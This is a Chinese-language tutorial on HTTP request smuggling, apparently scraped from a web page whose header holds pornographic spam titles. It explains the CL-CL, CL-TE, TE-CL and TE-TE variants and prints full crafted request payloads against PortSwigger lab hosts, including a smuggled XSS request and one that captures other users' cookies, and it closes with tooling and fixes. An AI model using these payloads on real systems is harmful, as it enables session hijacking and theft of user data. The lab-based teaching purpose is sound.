国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

什么是HTTP請求走私？

在復(fù)雜的網(wǎng)絡(luò)環(huán)境下，不同的服務(wù)器以不同的方式實現(xiàn)RFC標(biāo)準(zhǔn)，利用前后端服務(wù)器對數(shù)據(jù)包的邊界了解不一致，向一個請求數(shù)據(jù)包中插入下一個請求數(shù)據(jù)包的一部分，從前端服務(wù)器角度看來，它屬于一個完整的請求，而在后端服務(wù)器看來，它屬于兩次請求，前端請求的一部分被后端服務(wù)器解釋為下一個請求的開始。因此，它使攻擊者可以繞過安全控制，未經(jīng)授權(quán)訪問敏感數(shù)據(jù)并直接危害其他應(yīng)用程序用戶。

產(chǎn)生的原因

在HTTP1.1后，增加了一個特殊的請求頭Connection: Keep-Alive，建立tcp持續(xù)通道，進(jìn)行一次tcp握手，就能傳送多個請求。但這樣只能是請求一次響應(yīng)一次。為了提高數(shù)據(jù)傳輸?shù)男�率，減少阻塞。后來就有了HTTP Pipelining（管線化）字段，它是將多個http請求批量提交，而不用等收到響應(yīng)再提交的異步技術(shù)。如下圖就是使用Pipelining和非Pipelining

這意味著前端與后端必須短時間內(nèi)對每個數(shù)據(jù)包的邊界大小達(dá)成一致，否則，攻擊者就可以構(gòu)造發(fā)送一個特殊的數(shù)據(jù)包，在前端看來它是一個請求，但在后端卻被解釋為了兩個不同的HTTP請求。這就導(dǎo)致攻擊者可以在下一個用戶發(fā)送的合法數(shù)據(jù)包前惡意添加內(nèi)容。如圖，走私的內(nèi)容（“前綴”），以橙色突出顯示：

假設(shè)前端考慮的是內(nèi)容長度頭部(Content-Length)值作為數(shù)據(jù)包結(jié)束的邊界，后端優(yōu)先考慮的是Transfer-Encoding頭部。那么從后端角度看，如下圖藍(lán)色部份字體屬于一個數(shù)據(jù)包，而紅色部份字體屬于下一個數(shù)據(jù)包的開始部份。這樣就成功從前端“走私”了一個數(shù)據(jù)包。

攻擊類別

01

CL不為0的GET請求

假設(shè)前端代理服務(wù)器允許GET請求攜帶請求體，而后端服務(wù)器不允許GET請求攜帶請求體，它會直接忽略掉GET請求中的Content-Length頭，不進(jìn)行處理。這就有可能導(dǎo)致請求走私。

比如發(fā)送下面請求：

GET / HTTP/1.1

Host:example.com

Content-Length:44

GET /socket HTTP/1.1

Host: example.com

前端服務(wù)器通過讀取Content-Length，確認(rèn)這是個完整的請求，然后轉(zhuǎn)發(fā)到后端服務(wù)器，而后端服務(wù)器因為不對Content-Length進(jìn)行判斷,由于Pipeline的存在,它認(rèn)為這是兩個請求，分別為：

第一個

GET / HTTP/1.1

Host: example.com

第二個

GET /socket HTTP/1.1

Host: example.com

則相當(dāng)于走私了請求。

02

CL-CL

在RFC7230規(guī)范中，規(guī)定當(dāng)服務(wù)器收到的請求中包含兩個Content-Length，而且兩者的值不同時，需要返回400錯誤。但難免會有服務(wù)器不嚴(yán)格遵守該規(guī)范。假設(shè)前端和后端服務(wù)器都受到該類請求，且不報錯，其中前端服務(wù)器按照第一個Content-Length的值對請求進(jìn)行為數(shù)據(jù)包定界,而后端服務(wù)器則按照第二個Content-Length的值進(jìn)行處理。

這時攻擊者可以惡意構(gòu)造一個特殊的請求，

POST / HTTP/1.1

Host: example.com

Content-Length: 6

Content-Length: 5

123

A

CDN服務(wù)器獲取到的數(shù)據(jù)包的長度6,將上述整個數(shù)據(jù)包轉(zhuǎn)發(fā)給后端的服務(wù)器，而后端服務(wù)器獲取到的數(shù)據(jù)包長度為5。當(dāng)讀取完前5個字符后，后端服務(wù)器認(rèn)為該請求已經(jīng)讀取完畢，然后發(fā)送出去。而此時的緩沖區(qū)去還剩余一個字母A，對于后端服務(wù)器來說，這個A是下一個請求的一部分，但是還沒有傳輸完畢。此時恰巧有一個其他的正常用戶對服務(wù)器進(jìn)行了請求，則該A字母則會拼湊到下一個正常用戶請求的前面，攻擊在此展開。

03

CL-TE

所謂CL-TE，顧名思義就是收到包含Content-Length和Transfer-Encoding這兩個請求頭d的請求時，前端代理服務(wù)器按照Content-Length這一請求頭定界，而后端服務(wù)器則以Transfer-Encoding請求頭為標(biāo)準(zhǔn)。

構(gòu)造數(shù)據(jù)包：

POST / HTTP/1.1

Host: example.com

Content-Length: 16

Transfer-Encoding: chunked

0

chunkedcode

前端服務(wù)器處理Content-Length頭并確定請求主體長度為16個字節(jié)，直到chunkedcode結(jié)束。此請求將轉(zhuǎn)發(fā)到后端服務(wù)器。

后端服務(wù)器處理Transfer-Encoding標(biāo)頭，因此將消息體視為使用分塊編碼。它處理第一個塊，它被稱為零長度，因此被視為終止請求。緩沖區(qū)內(nèi)還剩下chunkedcode，由于存在pipeline技術(shù)，后端服務(wù)器將這些字節(jié)視為隊列中下一個請求的開始。

實驗地址：https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

(在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。)

注意：需要發(fā)送兩次請求

04

TE-CL

這種情況則屬于前端服務(wù)器處理Transfer-Encoding請求頭，而后端服務(wù)器處理Content-Length請求頭。

構(gòu)造數(shù)據(jù)包：

Host: example.com

Content-Length: 3

Transfer-Encoding: chunked

b

chunkedcode

0

(注意0后面加兩個rn)

前端服務(wù)器處理Transfer-Encoding請求頭，因此將消息體視為使用分塊編碼，處理第一塊時，有11個字節(jié)，直到chunkedcodede的最后一個字節(jié)。開始處理第二個塊，第二塊是0個字節(jié)，視為終止請求。此時把請求轉(zhuǎn)發(fā)到后端。而后端則在11處完成了對第一個數(shù)據(jù)包的讀取，chunkedcodern0為下一個數(shù)據(jù)包的開始部份。

實驗地址：https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

(在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。)

注意：需要發(fā)送兩次請求

05

TE-TE

前端服務(wù)器處理第一個Transfer-Encoding請求頭，后端服務(wù)器處理第二個Transfer-Encoding請求頭。

構(gòu)造數(shù)據(jù)包：

Host: example.com

Content-Length: 3

Transfer-Encoding: chunked

Transfer-Encoding: error

b

chunkedcode

0

這里是用了兩個 Transfer-Encoding 字段，并且第二個 TE 字段值為錯誤值，這里前端服務(wù)器選擇對第一個Transfer-Encoding進(jìn)行處理，整個請求正常，原封不動轉(zhuǎn)發(fā)給后端服務(wù)器，而后端服務(wù)器則以第二個Transfer-Encoding字段進(jìn)行優(yōu)先處理，而第二個Transfer-Encoding字段非標(biāo)準(zhǔn)值，根據(jù)RPC規(guī)范，則會取Content-Length字段進(jìn)行處理，這樣這個請求就會被拆分為兩個請求。

實驗地址：https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

(在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。)

注意：需要發(fā)送兩次請求

攻擊擴(kuò)展

01

smuggling+reflected xss

單純的UA處的xss并沒有什么危害，但可以結(jié)合請求走私攻擊進(jìn)行利用來提升危害。

實驗地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

我們可以構(gòu)造以下數(shù)據(jù)包，只要發(fā)送一次：

POST / HTTP/1.1

Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8

Content-Type: application/x-www-form-urlencoded

Content-Length: 150

Transfer-Encoding: chunked

0

GET /post?postId=3 HTTP/1.1

User-Agent: "><script>alert(1)</script>

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

x=1

就能夠在該網(wǎng)站的任意頁面觸發(fā)xss，因為在http序列中，走私的請求會插到用戶對網(wǎng)站的請求前面。

02

direct+smuggling

實驗地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning

該場景使基于url跳轉(zhuǎn)，把用戶重定向到一個固定網(wǎng)頁，lab為我們提供個跳轉(zhuǎn)api,/post/next?postId=3路由跳轉(zhuǎn)到的是/post?postId=4。

此時我們可以利用走私攻擊并配合重定向進(jìn)行釣魚。

發(fā)送以下數(shù)據(jù)包一次：

POST / HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Sec-Fetch-Dest: document

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ

Content-Type: application/x-www-form-urlencoded

Content-Length: 178

Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 10

x=1

然后訪問原網(wǎng)站任意頁面,都會被重定向到/post?postId=4

03

竊取用戶請求

實驗地址：https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests

利用走私攻擊捕捉用戶請求數(shù)據(jù)包，竊取cookie。

我們在發(fā)送評論處的api接口構(gòu)造請求包如下，

發(fā)送以下數(shù)據(jù)包：

POST / HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

Content-Type: application/x-www-form-urlencoded

Content-Length: 343

Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Content-Length: 600

Content-Type: application/x-www-form-urlencoded

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2Fwww.baidu.com&comment=118

成功把用戶的請求拼接到走私請求的comment參數(shù)上，如下圖 :

/////////////////

////////////////////////////////////////////

案例

該案例利用的是CL-TE的攻擊方式。根據(jù)RFC，當(dāng)Content-Length和Transfer-Encoding兩個標(biāo)頭同時出現(xiàn)在同一請求包時，Transfer-Encoding始終被優(yōu)先處理。但是，如果Transfer-Encoding標(biāo)頭格式錯誤，則前端服務(wù)器和后端服務(wù)器之間對請求的解釋可能會有所不同。在該站點上發(fā)現(xiàn)的CLTE問題是，在請求包中 Transfer-Encoding 和:之間加多一個空格，使該字段的格式為非標(biāo)準(zhǔn)值，此時前端服務(wù)器依據(jù)RPC規(guī)范，優(yōu)先處理Content-Length，而后端服務(wù)器并沒嚴(yán)格遵守RPC規(guī)范，以Transfer-Encoding為依據(jù)進(jìn)行處理數(shù)據(jù)包。

惡意請求的說明：

可見用戶的正常請求被拼接到X字段，而X請求頭非標(biāo)準(zhǔn)請求頭，故忽略，而該用戶的cookie字段也被拼接到了該走私的請求上。

在Burp Collaborator Client上能成功竊取用戶的cookie:

測試工具

地址: https://github.com/portswigger/http-request-smuggler

假設(shè)我用的是靶機(jī)：

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

在burpsuite上查找到請求包,右鍵lauch smuggle probe,隨后在burpsuite的掃描結(jié)果上顯示報告：

進(jìn)一步確定漏洞。

右鍵點擊”smuggle attack(CL.TE)“

出現(xiàn)Turbo Intruder腳本：

X-Ignore: X'''   //走私一個uri為/hopefully404的請求包，下一個用戶的請求會拼接到X-Ignore字段后面，因此要是存在走私漏洞,則會返回一個狀態(tài)碼為404的數(shù)據(jù)包。

點擊“attack“進(jìn)行爆破測試：

看到存在404狀態(tài)碼的數(shù)據(jù)包，說明存在http走私漏洞。

修復(fù)方案：

1、前端服務(wù)器對前段輸入規(guī)范化

2、前端服務(wù)器使用HTTP2.0

3、后端服務(wù)器丟棄非正常請求